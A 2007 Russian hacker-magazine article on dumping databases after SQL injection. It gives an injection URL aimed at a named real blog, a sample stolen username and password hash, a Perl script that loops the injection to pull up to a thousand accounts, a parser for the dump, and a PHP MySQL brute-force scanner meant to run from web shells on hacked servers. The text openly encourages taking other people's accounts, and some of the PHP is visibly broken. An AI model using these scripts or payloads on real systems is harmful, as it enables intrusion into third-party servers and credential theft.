Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #107, НОЯБРЬ 2007 г.

Разделка баз данных

Леонид «R0id» Стройков

Хакер, номер #107, стр. 107-068-1

(stroikov@gameland.ru)

Как грамотно парсить БД

О том, что нынче большая часть лакомой информации хранится в БД, - не стоит и говорить. Множественные php/asp/aspx/etc-движки то и дело мелькают перед глазами, притягивая к себе содержимым баз. Однако не все так просто. Несмотря на то что в последних статьях было немало информации на тему SQL-инъекций и особенностей проведений подобных атак под различными СУБД, не затронутым остался один из самых наболевших вопросов - парсинг баз данных. Те, кто сталкивался с подобной проблемой, поймут меня :). Ведь обнаружение и раскрутка бага – это зачастую лишь 50% успеха, нужно еще и грамотно отпрасить добытую инфу. Посуди сам, гораздо приятнее, когда после двух бессонных ночей наработанное «добро» мирно покоится на твоем винте в удобочитаемом виде, не так ли? Поэтому будь внимателен, сейчас я покажу тебе, как легко и непринужденно укрощают БД :).

Сливаем «добро»

Представь себе такую ситуацию: ты нашел инъект, раскрутил его, подобрал таблички/поля/колонки и уже собрался поживиться тысячей-другой чужих аккаунтов, как выясняется, что в ответ на твой запрос возвращается лишь одна запись из таблицы. Знакомая ситуация? :) Что делать в таком случае? Копипастить каждую учетку ручками - нереально, а найти админку и попробовать слить все акки оттуда - не всегда возможно. Кроме того, иногда и в админках нас поджидает неприятный сюрприз: лист с пользователями разбит на несколько частей (например, по 20-40 записей), а всего таких частей несколько сотен. Тому, кто любит работать руками, флаг в эти самые руки. А мы лучше чуть-чуть напряжем извилины и найдем выход из сложившейся ситуации :).

Опытные SQL-инжекторы только ухмыльнутся, ведь выход незамысловат - написать скрипт, дергающий нужный нам запрос и утягивающий записи из БД. Реализацией этой идеи мы и займемся. Для того чтобы пример был более показательным, выберем простенький инъект, который послужит нам в образовательных целях. Пусть это будет, гм... вот:

http://www.worldtopblogs.com/index.php?cat_id=-1%27+union+select+

concat(username,char(58),password),2+from+evots_user+limit+0,1+/*

Люблю я блоги, особенно бажные :). Тем не менее, перед нами типичная уязвимость. Мускул возвращает нам одну запись после каждого запроса, то есть в ответ на верхнюю кверю, мы получим:

neutreal:47ae1c118a1dffb9b027ba46a528zd12

По мере увеличения значений limit'а нам будут передаваться новые записи (limit 0, 1, затем limit 1, 1 и т.д.). Наша задача - написать скриптик, который проделает рутину за нас :). Кодить будем на Perl'е, поскольку LWP (Library for WWW for Perl) нам просто необходима. Много времени на это не потребуется, при соответствующих знаниях это дело пяти минут. Чтобы не пускаться в лирику, показываю свой готовый сорец (комментарии ниже):

#!/usr/bin/perl

print "===================================n";

print "====== SQL-injection Grabber by R0id ======n";

print "===================================n";

use LWP::Simple qw(get);

open(FL, '>result.txt');

$z=0;

for ($i=0;$i<=1000;$i++){

open(CN, '>count.txt');

$url='http://www.worldtopblogs.com/index.php?cat_id=-1%27+union+select+

concat(username,char(58),password),2+from+evots_user+limit+'.($i).',50/*';

$cont=get($url);

print F $cont."n";

$z=$z+1;

print CN $z;

close CN;

}close FL;

print "===================================n";

print "=============== DONE ==============n";

print "===================================n";

Как видишь, перемення $url содержит в себе линк на инъект, причем, $i принадлежит limit'у и находится в цикле, что позволяет создавать все новые и новые запросы к базе. Параметры for() следует изменять в каждом конкретном случае:

for ($i=0;$i<=1000;$i++)

Первый аргумент - начальное значение (в нашем случае таблица начинается с нулевой записи), а второй - количество сливаемых акков (у нас - 1k). В качестве результата сохраняется HTML-страничка каждого запроса, полный лог пишется в result.txt, ну а в count.txt находится обычный счетчик (объем слитой инфы).

На первый взгляд, все просто, но после слива мы получаем здоровенный файлик result.txt со всяким мусором метров эдак на 150. Поэтому вторым этапом будет парсинг нужных нам данных из result.txt. Как водится, привожу полный сорец:

#!/usr/bin/perl

open(TT, "/tmp/db.txt");

while($line = <TT>)

{

$x=index($line, "|");

$z=rindex($line, "|");

if($x>-1 && $z>-1){

$long=$z-$x;

$res=substr($line, ($x+1), ($long-1));

print "$res n";

$x=-1;

$z=-1;

}

}

close TT;

Коротко поясню. Ты, наверное, обратил внимание на второй аргумент функций index() и rindex() – «|». Дело в том, что еще при сливе в запросе следует обрамлять получаемый нами результат символом «|» с обеих сторон. Делается это для того, чтобы парсер смог вычленить аккаунт среди прочего мусора и HTML-тэгов. То есть в первый скрипт следует вставлять бажный линк вида:

http://www.worldtopblogs.com/index.php?cat_id=-1%27+union+select+

concat(char(94),username,char(58),password,char(94)),2+from+evots_user+limit+0,1+/*

Для тех, кто не помнит: char(94) как раз и есть символ «|». Кстати, юзать ты можешь любой редко встречающийся символ, например «^» или «%».

Таким образом, мы имеем полный комплект для слива добытых нами данных :). Причем сливать подобным образом можно все что угодно, вплоть до профилей мемберов форумов. Правда, доработать его не помешало бы, в частности сделать многопоточным, но это возлагается на тебя.

Парсим MySQL-базы

С парсингом и сливом данных вроде разобрались, как говорится, было бы что сливать/парсить :). Так как к инъектам возвращаться нерезонно (поднимай подшивку ][), то на этот раз мы пойдем другим путем. А именно напишем MySQL-сканер с функциями брутфорсера. Идея проста, поэтому для ее реализации потребуются лишь /dev/hands и /dev/head :). Кодить в этом случае будем на PHP, на то есть две причины: во-первых, PHP, как правило, есть на большинстве хостингов, а во-вторых, для запуска php-скрипта нужно минимум прав.

Теперь немного о том, что должна уметь делать софтинка (минимум):

  • осуществление коннекта к мускул-серверу;
  • непосредственно сам брут;
  • ведение полного лога сканирования.

С веб-менюшкой я сильно заморачиваться не стал:

<html>

<head>

<title>

PHP MySQL Scanner v0.1-beta by R0id (stroikov@gameland.ru)

</title>

</head>

<body>

<form enctype="multipart/form-data" action="pms.php" method="post">

Upload file:<input name="zak" type="file"></br></br>

Path: <input name="dir" type="text"></br>

<input type="submit" value="Upload">

</form>

<form action="pms.php" method="post">

E-mail report: <input name="email" type="text">

<input type="submit" value="Start Scan">

</form>

</body>

</html>

Как видишь, здесь пара формочек, в том числе и для аплоада файлов на сервер, ну и заветный батон с надписью «Start Scan». При желании ты можешь поместить веб-панельку и сам скрипт в разные файлы, скажем, web.html и scanner.php, хотя большого смысла в этом нет. Теперь переходим к сорцу MySQL-сканера:

<?

set_time_limit(0);

ignore_user_abort(1);

// Uploader

if($zak != "none" && $dir != "none"){

@move_uploaded_file($zak, "'$dir'/'$zak_name'")){

echo("File was uploaded!");

}else{

echo("Can not upload file!");

}

// Scanner

$h = fopen("./hostnames.txt", "r");

$l = fopen("./logins.txt", "r");

$p = fopen("./passwords.txt", "r");

if(!$h || !$l || !$p){

echo("Can't open hostnames/logins/passwords file!");

exit;

}

$c_h = 0;

$c_l = 0;

$c_p = 0;

while(!feof($h)){

$host = fgets($h);

while(!feof($l)){

$login = fgets($l);

while(!feof($p)){

$pass = fgets($p);

$connect = @mysql_connect($host,$login,$pass);

if(!$connect){

$b = fopen("./bad_logs.txt", "a");

fputs($b, "Can not connect to '$host' with '$login' and '$pass' n");

close($b);

}else{

$g = fopen("./good_logs.txt", "a");

fputs($g, "Connected to '$host' with '$login' and '$pass' n");

close(g);

if($login = 'root'){

$check = 1;

}break;

}$c_p++;

}if($check = 1){

$c_l++;

$check = 0;

break;

}$c_l++;

}$c_h++;

}

$d = fopen("./done.txt", "w");

fputs($d, "Done! '$c_h' hosts was checked whith '$c_l' logins and '$c_p' passwords! n");

fclose($d);

if(strlen($email) > 0){

$m = mail($email, "PMS report", "Done! '$c_h' hosts was checked whith '$c_l' logins and '$c_p' passwords!");

if(!$m){

$m_error = fopen("./m_error.txt", "w")'

fputs($m_error, "Can not send report to '$email'!n");

}

}

?>

Скрипт достаточно простой, но пару моментов я все же поясню. Во-первых, отключаем лимит времени работы скрипта и подтверждаем игнорирование разрыва соединения с клиентом, далее юзаем файлики: hostnames.txt - список сканируемых хостов, logins.txt - список логинов и passwords.txt - словарик с пассами. Затем скрипт коннектится к выбранному из hostnames.txt серверу и пытается залогиниться с полученным из других двух файлов аккаунтом. Если соединение прошло успешно, сканер заносит рабочий акк в лог; если нет, сообщает в логе об ошибке соединения :). По окончании брута сценарий отправляет уведомление нам на мыло (если таковое было изначально указано при запуске сканера). Как и в случае с парсером, недоработок хватает, поэтому PHP/Perl тебе в помощь. Не забывай только, что сканер должен отличаться безглючной работой.

Юзать подобное произведение можно с обычных веб-шеллов на ломаных ресурсах в период пребывания админа сервера в запое :). Кстати, по собственному опыту скажу, что иногда встречаются и пустые рутовые аккаунты без пасса.

What else?

Как ты понимаешь, совершенству нет предела. В статье я лишь коротко обозначил тебе суть идеи, а воспользоваться ей или нет - решать тебе. Как бы там ни было, ты всегда можешь доработать мои сорцы, улучшить их и, конечно же, поделиться со мной :). Кроме того, в случае доработки очень рекомендую обратить внимание на проблему многопоточности. Согласись, что гораздо удобнее, а главное - быстрее, юзать сканер в 10-15 потоков с одного сервера. В общем, все зависит от тебя, а если будут вопросы – пиши на почту и жди ответа.

Danger

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!

Info

Смело дорабатывай мои сорцы, особое внимание удели многопоточности.

Иногда на серверах встречаются пустые рутовые аккаунты на MySQL, не забывай об этом :).

Все приведенные в статье скрипты я бережно выложил на наш DVD.

Содержание
ttfb: 5.3958892822266 ms